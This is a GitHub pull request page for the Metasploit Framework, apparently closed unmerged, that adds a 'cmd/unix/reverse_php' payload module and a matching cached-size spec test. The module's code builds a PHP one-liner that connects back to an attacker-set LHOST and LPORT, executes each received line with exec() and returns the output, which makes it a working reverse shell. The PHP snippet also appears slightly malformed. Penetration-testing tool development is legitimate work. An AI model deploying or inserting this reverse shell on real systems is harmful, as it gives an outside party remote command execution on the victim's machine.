Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a reverse php shell without ssl #18335

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 62 additions & 0 deletions modules/payloads/singles/cmd/unix/reverse_php.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 238

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Unix Command Shell, Reverse TCP (via php)',
'Description' => 'Creates an interactive shell via php',
'Author' => 'Julien (jvoisin) Voisin',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'php',
'Payload' => {
'Offsets' => {},
'Payload' => ''
}
)
)
register_advanced_options(
[
OptString.new('PHPPath', [true, 'The path to the PHP executable', 'php'])
]
)
end

#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
return super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
cmd = <<~PHP
while ($s=@fsockopen("#{datastore['LHOST']}:#{datastore['LPORT']}") {
while ($l=fgets($s)) {
exec($l, $o);
$o=implode("\n",$o) . "\n";
fputs($s,$o);
}
}"
PHP
cmd = "#{datastore['PHPPath']} -r '#{cmd}'&"
jvoisin marked this conversation as resolved.
Show resolved Hide resolved
end
end
10 changes: 10 additions & 0 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -1058,6 +1058,16 @@
reference_name: 'cmd/unix/reverse_php_ssl'
end

context 'cmd/unix/reverse_php' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/unix/reverse_php'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/unix/reverse_php'
end

context 'cmd/unix/reverse_python' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down
Loading